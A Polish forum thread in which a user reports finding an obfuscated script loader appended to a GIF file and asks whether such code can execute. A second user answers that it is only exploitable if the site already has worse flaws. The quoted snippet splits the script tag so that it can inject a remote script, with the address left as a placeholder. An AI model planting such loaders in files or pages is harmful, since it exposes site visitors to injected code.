javascript w obrazku Opcje

[sazian]

Witam,
ostatnio puściłem skan w poszukiwaniu frazy document.write i ku mojemu zdziwieniu znalazło to w pliku gif (IMG:style_emoticons/default/smile.gif)
dokładniej wygląda to tak - jest to doklejone na końcu obrazka

[HTML] pobierz, plaintext 
<script type="text/javascript"><!--
document.writeln('<'+'scr'+'ipt type="text/javascript" src="tu adres do jakiejś strony"></'+'scr'+'ipt>');
//--></script>
[HTML] pobierz, plaintext 

zacząłem z tym trochę kombinować i owszem da się dopisać dowolny kod bez uszkadzania pliku ale nie daje się on uruchomić.
Jakie warunki trzeba spełnić aby taki kod został uruchomiony (IMG:style_emoticons/default/questionmark.gif) czy daje się on w ogóle uruchomić (IMG:style_emoticons/default/questionmark.gif)

[Damonsson]

Specjalnie się zarejestrowałeś, żeby napisać, że jest możliwość wykorzystania tego, tylko wtedy gdy ktoś zrobi jeszcze głupsze błędy bezpieczeństwa w swojej aplikacji? Po co mam ładować kod do obrazka, jak mogę go wykonać i bez tego? Sztuka dla sztuki? A znowu nie wykonam go z samego obrazka, jeśli nie ma błędów umożliwiających wykonanie go i bez tego obrazka.